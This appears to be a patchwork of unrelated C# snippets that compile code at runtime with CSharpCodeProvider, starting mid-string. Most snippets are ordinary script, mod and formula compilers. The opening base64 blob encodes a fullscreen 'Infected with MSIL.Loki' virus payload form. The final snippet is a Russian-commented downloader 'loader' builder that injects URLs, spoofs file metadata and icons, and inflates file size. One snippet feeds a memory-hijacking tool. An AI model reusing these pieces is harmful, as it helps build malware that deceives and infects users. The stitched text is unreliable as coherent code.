"KTsKQXBwbGljYXRpb24uUnVuKG5ldyBGb3JtMSgpKTsgCn0gCn0gCnBhcnRpYWwg" + "Y2xhc3MgRm9ybTEgewpwcml2YXRlIFN5c3RlbS5Db21wb25lbnRNb2RlbC5JQ29u" + "dGFpbmVyIGNvbXBvbmVudHMgPSBudWxsOwpwcm90ZWN0ZWQgb3ZlcnJpZGUgdm9p" + "ZCBEaXNwb3NlKGJvb2wgZGlzcG9zaW5nKSB7CmlmIChkaXNwb3NpbmcgJiYgKGNv" + "bXBvbmVudHMgIT0gbnVsbCkpIHsKY29tcG9uZW50cy5EaXNwb3NlKCk7Cn0KYmFz" + "ZS5EaXNwb3NlKGRpc3Bvc2luZyk7Cn0KcHJpdmF0ZSB2b2lkIEluaXRpYWxpemVD" + "b21wb25lbnQoKSB7CnRoaXMuY29tcG9uZW50cyA9IG5ldyBTeXN0ZW0uQ29tcG9u" + "ZW50TW9kZWwuQ29udGFpbmVyKCk7CnRoaXMubGFiZWwxID0gbmV3IFN5c3RlbS5X" + "aW5kb3dzLkZvcm1zLkxhYmVsKCk7CnRoaXMudGltZXIxID0gbmV3IFN5c3RlbS5X" + "aW5kb3dzLkZvcm1zLlRpbWVyKHRoaXMuY29tcG9uZW50cyk7CnRoaXMuU3VzcGVu" + "ZExheW91dCgpOwp0aGlzLmxhYmVsMS5BdXRvU2l6ZSA9IHRydWU7CnRoaXMubGFi" + "ZWwxLkJhY2tDb2xvciA9IFN5c3RlbS5EcmF3aW5nLkNvbG9yLkJsYWNrOwp0aGlz" + "LmxhYmVsMS5Gb250ID0gbmV3IFN5c3RlbS5EcmF3aW5nLkZvbnQoIk1pY3Jvc29m" + "dCBTYW5zIFNlcmlmIiwgMjRGLCBTeXN0ZW0uRHJhd2luZy5Gb250U3R5bGUuUmVn" + "dWxhciwgU3lzdGVtLkRyYXdpbmcuR3JhcGhpY3NVbml0LlBvaW50LCAoKGJ5dGUp" + "KDApKSk7CnRoaXMubGFiZWwxLkZvcmVDb2xvciA9IFN5c3RlbS5EcmF3aW5nLkNv" + "bG9yLlJlZDsKdGhpcy5sYWJlbDEuTG9jYXRpb24gPSBuZXcgU3lzdGVtLkRyYXdp" + "bmcuUG9pbnQoMTIsIDIwMSk7CnRoaXMubGFiZWwxLk5hbWUgPSAibGFiZWwxIjsK" + "dGhpcy5sYWJlbDEuU2l6ZSA9IG5ldyBTeXN0ZW0uRHJhd2luZy5TaXplKDAsIDM3" + "KTsKdGhpcy5sYWJlbDEuVGFiSW5kZXggPSAwOwp0aGlzLnRpbWVyMS5UaWNrICs9" + "IG5ldyBTeXN0ZW0uRXZlbnRIYW5kbGVyKHRoaXMudGltZXIxX1RpY2spOwp0aGlz" + "LkF1dG9TY2FsZURpbWVuc2lvbnMgPSBuZXcgU3lzdGVtLkRyYXdpbmcuU2l6ZUYo" + "NkYsIDEzRik7CnRoaXMuQXV0b1NjYWxlTW9kZSA9IFN5c3RlbS5XaW5kb3dzLkZv" + "cm1zLkF1dG9TY2FsZU1vZGUuRm9udDsKdGhpcy5CYWNrZ3JvdW5kSW1hZ2VMYXlv" + "dXQgPSBTeXN0ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxheW91dC5TdHJldGNoOwp0" + "aGlzLkNsaWVudFNpemUgPSBuZXcgU3lzdGVtLkRyYXdpbmcuU2l6ZSg0NzIsIDQ1" + "OSk7CnRoaXMuQ29udHJvbHMuQWRkKHRoaXMubGFiZWwxKTsKdGhpcy5Eb3VibGVC" + "dWZmZXJlZCA9IHRydWU7CnRoaXMuRm9ybUJvcmRlclN0eWxlID0gU3lzdGVtLldp" + "bmRvd3MuRm9ybXMuRm9ybUJvcmRlclN0eWxlLk5vbmU7CnRoaXMuTmFtZSA9ICJG" + "b3JtMSI7CnRoaXMuU2hvd0luVGFza2JhciA9IGZhbHNlOwp0aGlzLlRvcE1vc3Qg" + "PSB0cnVlOwp0aGlzLldpbmRvd1N0YXRlID0gU3lzdGVtLldpbmRvd3MuRm9ybXMu" + "Rm9ybVdpbmRvd1N0YXRlLk1heGltaXplZDsKdGhpcy5Mb2FkICs9IG5ldyBTeXN0" + "ZW0uRXZlbnRIYW5kbGVyKHRoaXMuRm9ybTFfTG9hZF8xKTsKdGhpcy5SZXN1bWVM" + "YXlvdXQoZmFsc2UpOwp0aGlzLlBlcmZvcm1MYXlvdXQoKTsKfQpwcml2YXRlIFN5" + "c3RlbS5XaW5kb3dzLkZvcm1zLkxhYmVsIGxhYmVsMTsKcHJpdmF0ZSBTeXN0ZW0u" + "V2luZG93cy5Gb3Jtcy5UaW1lciB0aW1lcjE7Cn0gCnB1YmxpYyBwYXJ0aWFsIGNs" + "YXNzIEZvcm0xIDogRm9ybSB7IApwdWJsaWMgRm9ybTEoKSB7IApJbml0aWFsaXpl" + "Q29tcG9uZW50KCk7IAp9IApwcm90ZWN0ZWQgb3ZlcnJpZGUgdm9pZCBPblBhaW50" + "QmFja2dyb3VuZChQYWludEV2ZW50QXJncyBlKSB7IAplLkdyYXBoaWNzLkRyYXdS" + "ZWN0YW5nbGUobmV3IFBlbihDb2xvci5CbGFjayksIDAsIDAsIFNpemUuV2lkdGgs" + "IFNpemUuSGVpZ2h0KTsgCn0gCnByaXZhdGUgdm9pZCBGb3JtMV9Mb2FkXzEob2Jq" + "ZWN0IHNlbmRlciwgRXZlbnRBcmdzIGUpIHsgCnRoaXMuU2V0U3R5bGUoQ29udHJv" + "bFN0eWxlcy5PcHRpbWl6ZWREb3VibGVCdWZmZXIgfCBDb250cm9sU3R5bGVzLlVz" + "ZXJQYWludCB8IENvbnRyb2xTdHlsZXMuQWxsUGFpbnRpbmdJbldtUGFpbnQsIHRy" + "dWUpOyAKdGhpcy5DYXB0dXJlID0gdHJ1ZTsgCkN1cnNvci5IaWRlKCk7IApCb3Vu" + "ZHMgPSBTY3JlZW4uUHJpbWFyeVNjcmVlbi5Cb3VuZHM7IApXaW5kb3dTdGF0ZSA9" + "IEZvcm1XaW5kb3dTdGF0ZS5NYXhpbWl6ZWQ7IApTaG93SW5UYXNrYmFyID0gZmFs" + "c2U7IApEb3VibGVCdWZmZXJlZCA9IHRydWU7IApCYWNrZ3JvdW5kSW1hZ2VMYXlv" + "dXQgPSBJbWFnZUxheW91dC5TdHJldGNoOyAKdGltZXIxLkludGVydmFsID0gMTAw" + "MDsgCnRpbWVyMS5TdGFydCgpOyAKfSAKcHJpdmF0ZSB2b2lkIHNjcm9sbCgpIHsg" + "CmxhYmVsMS5UZXh0ID0gIkluZmVjdGVkIHdpdGggTVNJTC5Mb2tpIGJ5IGZyZWUw" + "biB8IERvb21SaWRlcnoiOyAKUmFuZG9tIHIgPSBuZXcgUmFuZG9tKCk7IApsYWJl" + "bDEuU2V0Qm91bmRzKHIuTmV4dCgxMDApLCByLk5leHQoMTAwMCksIHIuTmV4dCgx" + "MDAwKSwgci5OZXh0KDEwMDApKTsKfQpwcml2YXRlIHZvaWQgdGltZXIxX1RpY2so" + "b2JqZWN0IHNlbmRlciwgRXZlbnRBcmdzIGUpIHsKc2Nyb2xsKCk7Cn0KfSAKfSAK"); CompilerResults results = ic.CompileAssemblyFromSource(cp, d); }
//TODO FIX METHODS APPEARING MORE THAN ONCE IN LISTING private void compile_Butt_Click(object sender, EventArgs e) { MethodInfo compiledCSharp; CSharpCodeProvider provider = new CSharpCodeProvider(); CompilerParameters parameters = new CompilerParameters(); parameters.GenerateInMemory = true; foreach (string refAsm in assemblyReferences) { parameters.ReferencedAssemblies.Add(refAsm); } foreach (Assembly assembly in AppDomain.CurrentDomain.GetAssemblies()) { try { string location = assembly.Location; if (!String.IsNullOrEmpty(location)) { parameters.ReferencedAssemblies.Add(location); } } catch (NotSupportedException) { // this happens for dynamic assemblies, so just ignore it. } } CompilerResults results = provider.CompileAssemblyFromSource(parameters, cSharpCode_RTB.Text); errs_RTB.Clear(); if (results.Errors.HasErrors) { foreach (CompilerError error in results.Errors) { errs_RTB.AppendText(String.Format("Error Line {0} -> ({1}): {2}\n", error.Line, error.ErrorNumber, error.ErrorText)); } return; } Type binaryFunction = results.CompiledAssembly.GetType(nameSpace_TB.Text + "." + class_TB.Text); if (binaryFunction == null) { errs_RTB.AppendText("Adding Methods failed... no existing namespace and class"); } else { if (testMethod.Checked) { compiledCSharp = binaryFunction.GetMethod(method_TB.Text, BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance | BindingFlags.Public | BindingFlags.DeclaredOnly); if (compiledCSharp == null) { errs_RTB.AppendText("Method does not exist"); return; } else { compiledCSharp.Invoke(null, new object[] { }); } } foreach (MethodInfo method in binaryFunction.GetMethods(BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Public | BindingFlags.Instance | BindingFlags.DeclaredOnly)) { dynamicC.userCreatedMethods.userCreatedMethodsList.Add(method); } errs_RTB.AppendText("Methods added to userCreatedMethodsList.\n"); grayStorm._memoryHijacker.dynamicMethods_LB.Items.Clear(); grayStorm._memoryHijacker.dynamicMethods_LB.Items.AddRange(dynamicC.userCreatedMethods.userCreatedMethodsList.ToArray()); grayStorm._memoryHijacker.dynamicMethods_LB.Refresh(); } }
private bool CompileCode(string code, out Assembly assembly) { string options = "/target:library /optimize "; foreach(string space in this.namespaces) { options += "/lib:\"C:\\Users\\Groogy\\AppData\\Local\\Colossal Order\\Cities_Skylines\\Addons\\Mods\\" + space + "\" "; } options += "/lib:\"C:\\Program Files (x86)\\Steam\\steamapps\\common\\Cities_Skylines\\Cities_Data\\Managed\""; CodeDomProvider codeProvider = new CSharpCodeProvider(); CompilerParameters parameters = new CompilerParameters(); parameters.CompilerOptions = options; parameters.GenerateExecutable = false; parameters.GenerateInMemory = true; parameters.IncludeDebugInformation = false; parameters.ReferencedAssemblies.Add("mscorlib.dll"); parameters.ReferencedAssemblies.Add("System.dll"); parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll"); parameters.ReferencedAssemblies.Add("ICities.dll"); parameters.ReferencedAssemblies.Add("UnityEngine.dll"); parameters.ReferencedAssemblies.Add("Assembly-CSharp.dll"); parameters.ReferencedAssemblies.Add("Assembly-CSharp-firstpass.dll"); foreach(string space in this.namespaces) { parameters.ReferencedAssemblies.Add(space + ".dll"); } CompilerResults compileResult = codeProvider.CompileAssemblyFromSource(parameters, code); if ( compileResult.NativeCompilerReturnValue != 0 ) { this.debugger.Log("Failed to eval code: " + code); this.debugger.Log("Result: " + compileResult.NativeCompilerReturnValue); string[] output = new string[compileResult.Output.Count]; compileResult.Output.CopyTo(output, 0); this.debugger.Log(String.Join("\n", output)); assembly = null; return false; } else { assembly = compileResult.CompiledAssembly; return true; } }
private static Assembly CompileCode(string code) { // Create a code provider // This class implements the 'CodeDomProvider' class as its base. All of the current .Net languages (at least Microsoft ones) // come with thier own implemtation, thus you can allow the user to use the language of thier choice (though i recommend that // you don't allow the use of c++, which is too volatile for scripting use - memory leaks anyone?) var csProvider = new CSharpCodeProvider(); // Setup our options var options = new CompilerParameters(); options.GenerateExecutable = false; // we want a Dll (or "Class Library" as its called in .Net) options.GenerateInMemory = true; // Saves us from deleting the Dll when we are done with it, though you could set this to false and save start-up time by next time by not having to re-compile // And set any others you want, there a quite a few, take some time to look through them all and decide which fit your application best! // Add any references you want the users to be able to access, be warned that giving them access to some classes can allow // harmful code to be written and executed. I recommend that you write your own Class library that is the only reference it allows // thus they can only do the things you want them to. // (though things like "System.Xml.dll" can be useful, just need to provide a way users can read a file to pass in to it) // Just to avoid bloatin this example to much, we will just add THIS program to its references, that way we don't need another // project to store the interfaces that both this class and the other uses. Just remember, this will expose ALL public classes to // the "script" options.ReferencedAssemblies.Add(Assembly.GetExecutingAssembly().Location); // Compile our code CompilerResults result; result = csProvider.CompileAssemblyFromSource(options, code); if (result.Errors.HasErrors) { // TODO: report back to the user that the script has errored Logger.Instance.Write("An error occured while compiling script code"); return null; } if (result.Errors.HasWarnings) { // TODO: tell the user about the warnings, might want to prompt them if they want to continue // runnning the "script" Logger.Instance.Write("Script has warnings in compilations"); } return result.CompiledAssembly; }
public bool Compile() { try { if (References == null) { throw new ArgumentNullException("References"); } if (CompileLocation == null) { throw new ArgumentNullException("CompileLocation"); } if (SourceCodes == null) { throw new ArgumentNullException("SourceCodes"); } string res = null; string net = Environment.SystemDirectory[0] + @":\Windows\Microsoft.NET\Framework\v4.0.30319\"; CompilerParameters compilerParameters = new CompilerParameters() { TreatWarningsAsErrors = false, OutputAssembly = CompileLocation, }; CSharpCodeProvider cSharpCodeProvider = new CSharpCodeProvider(new Dictionary <string, string> { { "CompilerVersion", "v4.0" } }); foreach (string reference in References) { compilerParameters.ReferencedAssemblies.Add(net + reference); } if (WPFReferences != null) { foreach (string wpfRef in WPFReferences) { if (!wpfRef.Contains("System.Xaml")) { compilerParameters.ReferencedAssemblies.Add(net + "WPF\\" + wpfRef); } else { compilerParameters.ReferencedAssemblies.Add(net + wpfRef); } } } if (ResourceFiles != null) { foreach (string resName in ResourceFiles) { res += "/res:\"" + resName + "\" "; } } StringBuilder args = new StringBuilder(); args.Append("-nologo /platform:anycpu /target:winexe /filealign:512 /debug- /unsafe /optimize "); if (!string.IsNullOrEmpty(Icon) && File.Exists(Icon)) { args.Append("/win32icon:\"" + Icon + "\" "); } args.Append(res); compilerParameters.CompilerOptions = args.ToString(); CompilerResults compilerResults = cSharpCodeProvider.CompileAssemblyFromSource(compilerParameters, SourceCodes); foreach (var v in compilerResults.Output) { CompileError += v + Environment.NewLine; } return(CompileError == null); } catch (Exception ex) { CompileError = ex.ToString(); return(false); } }
CompilerResults CompileForm(string src, string NamespaceAndClass) { CSharpCodeProvider csc = new CSharpCodeProvider( new Dictionary <string, string>() { { "CompilerVersion", "v4.0" } }); CompilerParameters parameters = new CompilerParameters(); parameters.GenerateInMemory = true; parameters.ReferencedAssemblies.Add("System.dll"); parameters.ReferencedAssemblies.Add("System.Drawing.dll"); parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll"); string binDirectory = Path.GetDirectoryName(Application.ExecutablePath); // reference all dlls in the bin directory string[] dllnames = Directory.GetFiles(binDirectory, "*.dll"); foreach (string dllName in dllnames) { if ((!dllName.EndsWith("sqlite3.dll") && (!dllName.EndsWith("libsodium.dll")) && (!dllName.EndsWith("libsodium-64.dll")))) { parameters.ReferencedAssemblies.Add(dllName); } } string ResourceXFile = FFilename.Replace(".yaml", "-generated.resx"); //"../../../../tmp/" + string ResourcesFile = NamespaceAndClass + ".resources"; if (File.Exists(ResourceXFile)) { ResXResourceReader ResXReader = new ResXResourceReader(ResourceXFile); FileStream fs = new FileStream(ResourcesFile, FileMode.OpenOrCreate, FileAccess.Write); IResourceWriter writer = new ResourceWriter(fs); foreach (DictionaryEntry d in ResXReader) { writer.AddResource(d.Key.ToString(), d.Value); } writer.Close(); parameters.EmbeddedResources.Add(ResourcesFile); } CompilerResults results = csc.CompileAssemblyFromSource(parameters, src); if (results.Errors.HasErrors) { foreach (CompilerError error in results.Errors) { TLogging.Log(error.ToString()); } } return(results); }
void Compile(string code, string[] references) { CompilerParameters parameters = new CompilerParameters(); parameters.OutputAssembly = filename; parameters.IncludeDebugInformation = true; parameters.ReferencedAssemblies.Add("mscorlib.dll"); parameters.ReferencedAssemblies.Add("System.dll"); parameters.ReferencedAssemblies.Add("System.Core.dll"); parameters.ReferencedAssemblies.Add("System.Data.dll"); parameters.ReferencedAssemblies.Add("System.Xml.dll"); parameters.ReferencedAssemblies.Add(XunitDllFilename); if (references != null) foreach (string reference in references) { string localFilename = Path.Combine(BasePath, reference); if (File.Exists(localFilename)) parameters.ReferencedAssemblies.Add(localFilename); else parameters.ReferencedAssemblies.Add(reference); } Dictionary<string, string> compilerOptions = new Dictionary<string, string> { { "CompilerVersion", "v4.0" } }; CSharpCodeProvider provider = new CSharpCodeProvider(compilerOptions); CompilerResults results = provider.CompileAssemblyFromSource(parameters, code); if (results.Errors.Count != 0) { List<string> errors = new List<string>(); foreach (CompilerError error in results.Errors) errors.Add(String.Format("{0}({1},{2}): error {3}: {4}", error.FileName, error.Line, error.Column, error.ErrorNumber, error.ErrorText)); throw new InvalidOperationException("Compilation Failed:" + Environment.NewLine + string.Join(Environment.NewLine, errors.ToArray())); } }
private void gneratorButtom_Click(object sender, EventArgs e) { string sourceCode = ScannerGenerator.GetSourceCode(tree); VistaFolderBrowserDialog dialog = new VistaFolderBrowserDialog { RootFolder = Environment.SpecialFolder.Desktop, SelectedPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop), ShowNewFolderButton = true }; if (dialog.ShowDialog() == DialogResult.OK) { string Output = "Scanner.exe"; string path = Path.Combine(dialog.SelectedPath, Output); //-----------Write Code----------- File.WriteAllText(Path.Combine(dialog.SelectedPath, "Scanner.cs"), sourceCode); //------------Compiler------------ CSharpCodeProvider codeProvider = new CSharpCodeProvider(); //Make sure to generate an EXE CompilerParameters parameters = new CompilerParameters { GenerateExecutable = true, OutputAssembly = path }; //Add References parameters.ReferencedAssemblies.AddRange( Assembly.GetExecutingAssembly().GetReferencedAssemblies(). Select(a => a.Name + ".dll").ToArray()); CompilerResults results = codeProvider.CompileAssemblyFromSource(parameters, sourceCode); if (results.Errors.Count > 0) { resultTextBox.ForeColor = Color.Red; resultTextBox.Text = ""; foreach (CompilerError CompErr in results.Errors) { resultTextBox.Text = resultTextBox.Text + @"Line number " + CompErr.Line + @", Error Number: " + CompErr.ErrorNumber + ", '" + CompErr.ErrorText + ";" + Environment.NewLine + Environment.NewLine; } } else { //Successful Compile resultTextBox.ForeColor = Color.Magenta; resultTextBox.Text = @"Success!"; //If we clicked run then launch our EXE Process.Start(path); } } }
private Assembly CompileCode(string code, string name) { CSharpCodeProvider csProvider = new CSharpCodeProvider(); CompilerParameters parameters = new CompilerParameters(); parameters.GenerateExecutable = false; parameters.GenerateInMemory = false; parameters.OutputAssembly = "scripts\\" + name + ".dll"; //TODO: Custom assembly list parameters.ReferencedAssemblies.Add(Assembly.GetExecutingAssembly().Location); CompilerResults result; result = csProvider.CompileAssemblyFromSource(parameters, code); if (result.Errors.HasErrors) { foreach (CompilerError e in result.Errors) { Messages.Add(name + ": " + (e.IsWarning == true ? "WARNING: " : "ERROR: ") + e.ErrorText + " -- Line: " + e.Line.ToString()); } return null; } return result.CompiledAssembly; }
private void RefreshFormula(int row) { CSharpCodeProvider provider = new CSharpCodeProvider(); CompilerParameters parameter = new CompilerParameters(); parameter.ReferencedAssemblies.Add("System.dll"); parameter.GenerateExecutable = false; parameter.GenerateInMemory = true; CompilerResults result; TABLECOLUMN tableCol; string line; double value; for (int i = 0; i < tableColList.Count; i++) { tableCol = tableColList[i]; if (tableCol.Formula == "") { continue; } value = 0.00; line = ""; for (int j = 0; j < tableCol.Formula.Length; j++) { int asciie = Convert.ToInt32(tableCol.Formula[j]) - 65; if (asciie >= 0 && asciie <= 25 && asciie < DataGridView1.Columns.Count) { if (DataGridView1[asciie, row].FormattedValue.ToString() == "") { line += "0.0"; } else { line += DataGridView1[asciie, row].FormattedValue.ToString(); } } else { line += tableCol.Formula[j]; } } result = provider.CompileAssemblyFromSource(parameter, CreateCode(line)); if (result.Errors.Count == 0) { Assembly assembly = result.CompiledAssembly; Type AType = assembly.GetType("ANameSpace.AClass"); MethodInfo method = AType.GetMethod("AFunc"); Double.TryParse(method.Invoke(null, null).ToString(), out value); } DataGridView1[i, row].Value = value.ToString("f3"); if (value < tableCol.Min || value > tableCol.Max) { DataGridView1[i, row].Style.ForeColor = Color.Red; } else { DataGridView1[i, row].Style.ForeColor = Color.Black; } } }
static void Main(string[] args) { var optionsDef = new CommandLineOptions<CommandOptions>(); string[] restArgs; var options = optionsDef.Parse(args, out restArgs); if (restArgs.Length == 0) { Console.Error.WriteLine("スクリプトファイルを指定してください"); Environment.Exit(1); } var scriptSource = Path.GetFullPath(restArgs[0]); var scriptArgs = (restArgs.Length > 1) ? restArgs.Slice(1) : Array.Empty<string>(); #if false var scriptOptions = ScriptOptions.Default .WithReferences(Assembly.GetExecutingAssembly()) .WithFilePath(scriptSource) .WithSourceResolver( ScriptSourceResolver.Default .WithSearchPaths( options.LibraryRoots.Select(path => Environment.ExpandEnvironmentVariables(path)))); Script script; using (var reader = new StreamReader(scriptSource)) { script = CSharpScript.Create(reader.ReadToEnd(), scriptOptions); } ScriptContext.ScriptPath = scriptSource; ScriptContext.CommandLineArgs = scriptArgs; var diags = script.Compile(); if (diags.Length > 0) { foreach (var diag in diags) { Console.Error.WriteLine(diag); } Environment.Exit(1); } var result = script.RunAsync().Result; Console.WriteLine(result.ReturnValue); #elif true var scriptPath = Path.GetFullPath("TestScript.csx"); var compilationOption = new CSharpCompilationOptions( OutputKind.ConsoleApplication, optimizationLevel: OptimizationLevel.Release, sourceReferenceResolver: ScriptSourceResolver.Default .WithSearchPaths(Environment.CurrentDirectory), metadataReferenceResolver: ScriptPathResolver.Default .WithSearchPaths( Environment.CurrentDirectory, RuntimeEnvironment.GetRuntimeDirectory())); string text; using (var reader = new StreamReader(scriptPath)) { text = reader.ReadToEnd(); } var tree = SyntaxFactory.ParseSyntaxTree( text, new CSharpParseOptions( kind: SourceCodeKind.Script, documentationMode: DocumentationMode.None), scriptPath, Encoding.UTF8); var references = Assembly.GetExecutingAssembly() .GetReferencedAssemblies() .Select(name => MetadataReference.CreateFromFile(Assembly.ReflectionOnlyLoad(name.FullName).Location)); var compilation = CSharpCompilation.Create( "test", new[] { tree }, references, compilationOption); var emitResult = compilation.Emit("test.exe", "test.pdb"); if (!emitResult.Success) { foreach (var diag in emitResult.Diagnostics) { Console.WriteLine(diag); } } #else var sourceText = new StringBuilder(); using (var reader = new StreamReader("TestScript.csx")) { while (!reader.EndOfStream) { var line = reader.ReadLine().Trim(); if (line.StartsWith("#load")) { } else if (line.StartsWith("#r")) { } else { sourceText.AppendLine(line); } } } var provider = new CSharpCodeProvider(); var options = new CompilerParameters() { GenerateExecutable = true, OutputAssembly = "test.exe", CompilerOptions = "/define:hogehoge", }; var result = provider.CompileAssemblyFromSource(options, sourceText.ToString()); if (result.Output.Count > 0) { foreach (var output in result.Output) { Console.WriteLine(output); } } if (result.Errors.Count > 0) { foreach (var error in result.Errors) { Console.WriteLine(error); } } #endif Console.Read(); }
private ListFilter <T> Compile() { var uniqueCode = GetUniqueCode(); ListFilter <T> resultFilter; if (!FiltersCache.TryGetValue(uniqueCode, out resultFilter)) { var includeAssemblies = new HashSet <string>(); var provider = new CSharpCodeProvider(new Dictionary <string, string>() { { "CompilerVersion", "v3.5" } }); var name = "Filter"; if (FilterBy != null) { name += "_" + Regex.Replace(FilterBy, @"\W", ""); } if (SortFields != null) { name += "_Sort_" + Regex.Replace(SortFields.Aggregate((y, x) => y), @"\W", ""); } var typeName = provider.CreateValidIdentifier(name); var targetTypeName = typeof(T).FullName.Replace('+', '.'); var code = new StringBuilder(); code.AppendLine("using System;"); code.AppendLine("using System.Collections;"); code.AppendLine("using System.Collections.Generic;"); code.AppendLine("using System.Linq;"); code.AppendLine("using ASC.Api.Collections;"); code.AppendLine("using System.Globalization;"); code.AppendFormat("public class {1} : ListFilter<{0}> {{\r\n", targetTypeName, typeName); code.AppendFormat( " public override IEnumerable<{0}> FilterList(IEnumerable<{0}> items, bool sortDescending, FilterOperation operation, string[] filterValues){{\r\n", targetTypeName); //Do a needed operations //TODO: Do a null checks! if (ShouldFilter()) { try { var filters = FilterBy.Split(','); var filterChecks = new List <string>(); foreach (var filter in filters) { var propInfo = GetPropertyInfo(filter).Where(x => x != null).ToList(); foreach (var propertyInfo in propInfo) { includeAssemblies.Add(propertyInfo.PropertyType.Assembly.Location); } var byProperty = GetPropertyPath(propInfo); var nullCheck = GetNullCheck("item", propInfo); filterChecks.Add(string.Format("({1}Satisfy(operation, filterValues, item.{0}{2}))", byProperty, string.IsNullOrEmpty(nullCheck) ? "" : (nullCheck + " && "), GetPropertyToString(propInfo.Last()))); } code.AppendFormat( "items = items.Where(item =>{0});\r\n", string.Join(" || ", filterChecks.ToArray())); } catch (Exception) { } } if (ShouldSort()) { var propInfo = SortFields.Select(x => GetPropertyInfo(x)).Where(x => x != null).ToList(); //Add where if (propInfo.Any()) { foreach (var info in propInfo) { foreach (var propertyInfo in info) { includeAssemblies.Add(propertyInfo.PropertyType.Assembly.Location); } var nullCheck = GetNullCheck("item", info); if (!string.IsNullOrEmpty(nullCheck)) { code.AppendFormat("items=items.Where(item=>{0});", nullCheck); code.AppendLine(); } } var byProperties = propInfo.Select(x => GetPropertyPath(x)).ToList(); code.AppendLine("items = sortDescending"); code.AppendFormat("?items.OrderByDescending(item => item.{0})", byProperties.First()); foreach (var byProperty in byProperties.Skip(1)) { code.AppendFormat(".ThenByDescending(item => item.{0})", byProperty); } code.AppendFormat(": items.OrderBy(item => item.{0})", byProperties.First()); foreach (var byProperty in byProperties.Skip(1)) { code.AppendFormat(".ThenBy(item => item.{0})", byProperty); } code.AppendLine(";"); } } code.AppendFormat("return items;\r\n"); code.AppendLine("} }"); var assemblyName = "filter" + Guid.NewGuid().ToString("N"); var cp = new CompilerParameters { GenerateExecutable = false, OutputAssembly = assemblyName, GenerateInMemory = true, TreatWarningsAsErrors = false, CompilerOptions = "/optimize /t:library", IncludeDebugInformation = false, }; cp.ReferencedAssemblies.Add("mscorlib.dll"); cp.ReferencedAssemblies.Add("system.dll"); cp.ReferencedAssemblies.Add("System.Core.dll"); cp.ReferencedAssemblies.Add(GetType().Assembly.Location); cp.ReferencedAssemblies.Add(typeof(T).Assembly.Location); foreach (var includeAssembly in includeAssemblies) { cp.ReferencedAssemblies.Add(includeAssembly); } var cr = provider.CompileAssemblyFromSource(cp, code.ToString()); if (!cr.Errors.HasErrors) { var assembly = cr.CompiledAssembly; var evaluatorType = assembly.GetType(typeName); var evaluator = Activator.CreateInstance(evaluatorType); resultFilter = evaluator as ListFilter <T>; } //Add anyway!!! FiltersCache.Add(uniqueCode, resultFilter); } return(resultFilter); }
bool TryCompile(string source, List<string> references, out string errors, out Assembly assembly) { bool result = false; assembly = null; errors = null; Dictionary<string, string> options = new Dictionary<string, string> { { "CompilerVersion", "v4.0" } }; CSharpCodeProvider csc = new CSharpCodeProvider(options); CompilerParameters parameters = new CompilerParameters(); parameters.GenerateInMemory = true; parameters.IncludeDebugInformation = debuggingEnabled; parameters.ReferencedAssemblies.AddRange(references.ToArray()); parameters.ReferencedAssemblies.Add("System.dll"); parameters.ReferencedAssemblies.Add("System.Core.dll"); parameters.ReferencedAssemblies.Add("Microsoft.CSharp.dll"); if (!string.IsNullOrEmpty(Environment.GetEnvironmentVariable("EDGE_CS_TEMP_DIR"))) { parameters.TempFiles = new TempFileCollection(Environment.GetEnvironmentVariable("EDGE_CS_TEMP_DIR")); } CompilerResults results = csc.CompileAssemblyFromSource(parameters, source); if (results.Errors.HasErrors) { foreach (CompilerError error in results.Errors) { if (errors == null) { errors = error.ToString(); } else { errors += "\n" + error.ToString(); } } } else { assembly = results.CompiledAssembly; result = true; } return result; }
//#region Список ссылок для работы билда //private static readonly List<string> List_of_links = new List<string> //{ // "System.dll", // "System.Net.dll" //}; //#endregion public static void Inizialize(Build collection) { string exe = $"{collection.BoxFileName}.exe", // Имя Билд файла Source = EncryptKey.Decrypt(Resources.Build, GlobalPath.KEY), // Расшифрованный билд из ресурсов combine = FileManager.CombinePath(GlobalPath.CurrDir, exe); // Путь к билд файлу из текущей директории #region Замена исходного кода на новые значения Source = Source.Replace("[TITLE]", collection.AssTitle). Replace("[DESCRIPTION]", collection.AssDescription). Replace("[COMPANY]", collection.AssCompany). Replace("[PRODUCT]", collection.AssProduct). Replace("[COPYRIGHT]", collection.AssCopyright). Replace("[VERSION]", collection.AssVersion). Replace("[FILEVERSION]", collection.AssFileVersion). Replace("[GUID]", collection.GuidBox). Replace("[Path]", collection.ComboPath). Replace("\"[URL]\"", collection.ListBoxUrl); #endregion // Версия .Net для компиляции 4.0 макс для CodeDom (4.5 - Roslyn) var providerOptions = new Dictionary <string, string> { { "CompilerVersion", "v4.0" } }; try { using var provider = new CSharpCodeProvider(providerOptions); #region Дефолтные параметры для компиляции var parameters = new CompilerParameters { CompilerOptions = "/target:winexe /optimize+ /platform:anycpu /langversion:Default /noconfig", // Дополнительные параметры для компиляции TreatWarningsAsErrors = false, GenerateInMemory = false, IncludeDebugInformation = false, GenerateExecutable = true, OutputAssembly = exe, ReferencedAssemblies = { "System.dll", "System.Net.dll" } }; //}; #endregion #region Проверка на обнаружение иконки if (!string.IsNullOrEmpty(collection.BoxIcon)) { parameters.CompilerOptions += $" /win32icon:{collection.BoxIcon}"; // Добавляем иконку } #endregion #region Добавление ссылок для компиляции билда //for (int i = 0; i < List_of_links.Count; i++) //{ // parameters.ReferencedAssemblies.Add(List_of_links[i]); //} #endregion #region Компиляция сборки CompilerResults ResultLog = provider.CompileAssemblyFromSource(parameters, Source); if (!ResultLog.Errors.HasErrors) { // Ошибок нету collection.LMessage.Location = new Point(515, 371); ControlActive.CheckMessage(collection.LMessage, "Загрузчик создан успешно!", Color.YellowGreen, 5000); MusicPlay.Inizialize(Resources.GoodBuild); if (collection.NUp.Value > 0) { PumpFile.Inizialize(exe, (int)collection.NUp.Value); } } else { collection.LMessage.Location = new Point(510, 371); ControlActive.CheckMessage(collection.LMessage, "Ошибка создания загрузчика!", Color.YellowGreen, 5000); MusicPlay.Inizialize(Resources.Error_Build); foreach (CompilerError compilerError in ResultLog.Errors) { FileManager.CreateFile("Error_Compiler.txt", $"Error: {compilerError?.ToString()} {Environment.NewLine}Line: {compilerError?.Line}{Environment.NewLine}"); } } #endregion } catch (ArgumentNullException aue) { throw new ArgumentNullException("CSharpCodeProvider error", aue); } }
